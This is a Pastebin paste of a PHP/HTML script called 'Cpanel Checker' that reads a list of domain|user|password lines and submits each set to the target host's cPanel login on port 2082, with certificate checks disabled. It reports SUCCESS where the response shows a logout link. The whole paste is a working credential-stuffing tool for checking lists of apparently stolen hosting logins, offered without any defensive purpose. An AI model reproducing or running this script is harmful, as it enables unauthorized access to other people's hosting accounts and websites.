Advertisement
abdo53

Cpanel Checker

Jun 19th, 2017
68
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.28 KB | None | 0 0
  1. <title> Cpanel Checker - Alarg53 </title>
  2. <form method="POST">
  3. <br>
  4. <center>
  5. <h1>Cpanel Checker</h1>
  6. <textarea name="webmails" placeholder="domain.com|user|pass" style="width:50%;height:300px;border:1px dashed #555"></textarea><br>
  7. <input type="submit" value="Start Scan Webmails" name="start"><br>
  8. </form>
  9. <?php
  10. set_time_limit(0);
  11. error_reporting(0);
  12. @apache_setenv('no-gzip', 1);//comment this out if you use nginx instead of apache
  13. @ini_set('zlib.output_compression', 0);
  14. @ini_set('implicit_flush', 1);
  15. for($i = 0; $i < ob_get_level(); $i++) { ob_end_flush(); }
  16. ob_implicit_flush(1);
  17. $detali = explode("\r\n", $_POST['webmails']);
  18. $search = array("http://","https://",":2082");
  19.  
  20. if($_POST['start']) {
  21. echo "<br><table style='width:50%;border:1px dotted #111;'>
  22. <tr>
  23. <td align='center'><strong>Host</strong></td>
  24. <td><strong>Username</strong></td>
  25. <td><strong>Password</strong></td>
  26. <td><strong>Status</strong></td>";
  27. foreach($detali as $detalis) {
  28. $content = explode("|", $detalis);
  29. $domain = str_replace($search, "",$content[0]);
  30. $email = $content[1];
  31. $pass = $content[2];
  32. print checker($domain,$email,$pass);
  33. }
  34. }
  35.  
  36. function checker($domain,$email,$pass) {
  37. $ip = gethostbyname($domain);
  38. $url = "http://{$ip}:2082/login"; //if the port of cpanel is 2083 changed it => http to https and 2082 to 2083
  39. $curl = curl_init();
  40. curl_setopt($curl, CURLOPT_URL, $url);
  41. curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
  42. curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0);
  43. curl_setopt($curl, CURLOPT_HEADER, 0);
  44. curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
  45. curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  46. curl_setopt($curl, CURLOPT_POSTFIELDS, "user={$email}&pass={$pass}");
  47. curl_setopt($curl, CURLOPT_TIMEOUT, 10);
  48. curl_setopt($curl, CURLOPT_COOKIEFILE, getcwd()."./cookie.txt");
  49. $result = curl_exec($curl);
  50. curl_close($curl);
  51. if(preg_match('#logout#',$result)) {
  52. print '<tr><td align="center">'.$domain.'</td><td>'.$email.'</td><td>'.$pass.'</td><td><strong><font color=green>SUCCESS</font></strong></tr>';
  53.  
  54.  
  55. return;
  56. } else {
  57. print '<tr><td align="center">'.$domain.'</td><td>'.$email.'</td><td>'.$pass.'</td><td><strong><font color=red>FAILED</font></strong></tr>';
  58.  
  59. return;
  60. }
  61. }
  62.  
  63. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement